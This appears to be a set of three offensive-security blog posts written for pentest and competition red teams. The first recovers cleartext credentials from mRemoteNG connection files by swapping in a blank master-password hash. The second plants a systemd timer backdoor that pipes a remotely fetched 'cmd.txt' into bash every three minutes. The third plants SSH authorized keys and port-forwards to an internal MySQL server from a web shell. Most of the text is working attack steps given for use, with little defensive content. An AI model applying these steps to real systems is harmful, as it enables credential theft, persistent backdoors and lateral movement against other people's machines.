mRemoteNG: Just Loaded with “Features”

TL;DR: mRemoteNG uses insecure methods for password storage and can provide droves of valid credentials during an assessment or competition.

Level Set

mRemoteNG (mremote) is an open source project (https://github.com/rmcardle/mRemoteNG) that provides a full-featured, multi-tab remote connections manager. It currently supports RDP, SSH, Telnet, VNC, ICA, HTTP/S,  rlogin, and raw socket connections. Additionally, It also provides the means to save connection settings such as hostnames, IP addresses, protocol, port, and user credentials, in a password protected and encrypted connections file.

Problem

During a recent pentest, I was struggling to gain additional administrative access to key systems ,even with standard user authentication.  However, during some share pillaging I found a backup of an old mRemote connections file. The connections file houses all the information needed to gain remote access to a given system (IP/Hostname, Protocol, Port, Username, and Password). However, the credentials are encrypted, by default, and the connections file was protected by a master password.

Solution

It turns out, the master password is just used by the program to determine whether or not to load in the selected connections file. The stored credentials are actually encrypted with a static string, not the master password. This creates a scenario wherein the master password hash can simply be replaced with a blank password hash, to bypass the master password prompt. Once the connections file is loaded, the program even has the ability to add additional “External tools”, which allow for access to the programs variables and memory space. This allows for simple echo commands to be added to reveal hidden details about each connection, such as the clear text password.

How to Access The Clear Text Credentials

Method 1: Using the Program itself

To start ensure that mRemoteNG is closed or download the portable version of the application.

mRemoteNG Password Prompt

Second navigate to the default mRemoteNG data folder (C:\Users\\AppData\Roaming\mRemoteNG) or acquire the connections configuration file. Alternatively, enter the  path %appdata%/mRemoteNG into Start/Run, to go directly to the default installation location. Or use the portable version of the application, for any backup files you may have discovered while pillaging.

Third open the connections configuration file (by default called confCons.xml) in your favorite text editor.
mRemoteNG Connections file
Then, on the second line, locate the Protected=”a bunch of numbers/letters” string and replace it with the value below.
Protected=”GiUis20DIbnYzWPcdaQKfjE2H5jh//L5v4RGrJMGNXuIq2CttB/d/BxaBP2LwRhY”
Note: This is just a master password hash of blank, to allow for the connections file to be loaded.

mRemoteNG blank master password hash

Next, just re-open mRemoteNG and load the connections file, by simply submitting a blank password to the master password prompt.

mRemoteNG Connection file loaded via blank hash

To see the clear text of a given password, go to “Tools” > “External Tools”. Then right-click in the white space and choose “New External Tool”. Next, in the External Tools Properties, fill in a “Display Name”, “Filename” and some “arguments”, with “Password lookup”, CMD and “/k echo %password%” respectively.

mRemoteNG external tool

Finally, go to the connection where you would like to reveal the connection and right-click on it and choose “External tools” > “Password lookup”.

mRemoteNG external tool shows password

Method 2: Using an Offline Decoder

A modified version of the Metasploit module Ruby code, can be used to get the clear text passwords from within a protected connections file.

The file can be downloaded from packetstorm (https://packetstormsecurity.com/files/126309/mRemoteOffPwdsDecrypt.rb.txt) and run on Kali systems as such:
ruby mRemoteOffPwdsDecrypt.rb confCons.xml

Method 3: Using the Metasploit Post Module

Once you have a meterpreter shell on an administrators system that has mRemoteNG installed, simply run the post module with the following command and enjoy clear text.
run post/windows/gather/credentials/mremote

Note: mRemoteNG is a platform agnostic program, however the post module only works on Windows and will only parse the default connections file (confCons.xml) and location (%appdata%/mRemoteNG).

As always,
w7nDgMKow73CuCU7XsOkScuGXsKrw51Rwq4=

Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.

[Unit]
Description=Backdoor

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

[Unit]
Description=Runs backdoor ever 3 mins

[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service

[Install]
WantedBy=multi-user.target

Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

[Service]
Type=simple
ExecStart=curl --insecure https://127.0.0.1/cmd.txt|bash; exit 0
Restart=always
RestartSec=180

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.

So You Got a Shell: SSH for Linux Post Exploitation

So you worked hard to find that cool web application exploit and got a shell on the box. Many people not so familiar with the Linux operating system, quickly find themselves throwing there hand in the air and saying; Now what do I do? By popular demand, this is a list of some of my favorite SSH for Linux Post Exploitation techniques that I’ve used over and over in past Cyber Defense competitions and my career.

Note: I’m assuming that you will likely exploit a service level account, such as ftpd, www-data, ldapadmin, squid, apache or syslog, and not immediately have root level access on the system.

One of my overall favorites is utilizing SSH for linux post exploitation,  as a mean of developing access to systems on the internal network and to maintain access. Almost all Linux distro’s come with openssh-client baked in and many also have openssh-server set to run at startup by default. Fortunately, openssh’s config files ship with fairly basic security measures in place and expect system administrators to utilize the many additional security features, that are available, to defend systems. Most simply don’t bother.  Additionally the permissions on the /etc/ssh/ssh_conf and /etc/ssh/sshd_conf files are world readable by default. So start by just checking them out.

User$ cat /etc/ssh/ssh.conf

User$ cat /etc/ssh/sshd.conf

Within /etc/ssh/sshd_conf the default configuration allows for public file authentication; with the following line.

PubkeyAuthentication yes

This line allows for a public key to be passed to the system in order to authenticate as a specified user. This is done by adding your public key to the .ssh/authorized_keys file; under the users home directory structure. Once added you can use the simply ssh to the system, using your private key, while specifying the username.

Note: Most default system service accounts ship with /bin/false or /sbin/nologin as their default, which means ssh wont allow you to login directly via ssh.

So you are looking issued the command cat /etc/passwd and she that your user has no login shell and you say Michael this whole maintaining access with public keys in the authorized_keys file is useless to me. So how about another user of SSH for linux post exploitation; using your user to port forward into the local network over ssh?

So you get a web shell using some fancy new wordpress vulnerability and then you cat out the wp-config.php file and see that the database isn’t hosted on the local system. Now you have to pop another box to access that database right? Wrong. You can create a local port forward the the mysql port with ssh. by using the following command.

ssh -R 9000:<mysql server ip>:3306 www-data@localhost

So now maybe people are thinking of great I have to have a shell again…but www-data has /sbin/nologin! Thats fine we dont need a shell. Just follow the steps above. Use your web shell from the wordpress vulnerability to use ssh-keygen to generate the www-data users keys and .ssh directly. Then simply cat your public key into the .ssh/authorized_keys file, to give you a means of local authentication. You may not be able to get a local shell, but you can still ssh port forward by telling ssh not to use interactive login or allocate a tty with the following command.

ssh -v -nNT -R 9000:<mysql server ip>:3306 www-data@localhost

This will create an ssh tunnel that will port forward all traffic from 9000 to the mysql server on its default port. So simply issue the mysql command to connect on port 9000 and use the credentials in the wp-config.php file.

mysql -u wordpress -p -h <web server ip> -p 9000

Profit!

If you have any questions or want to know more just leave a comment or hit me up on social media.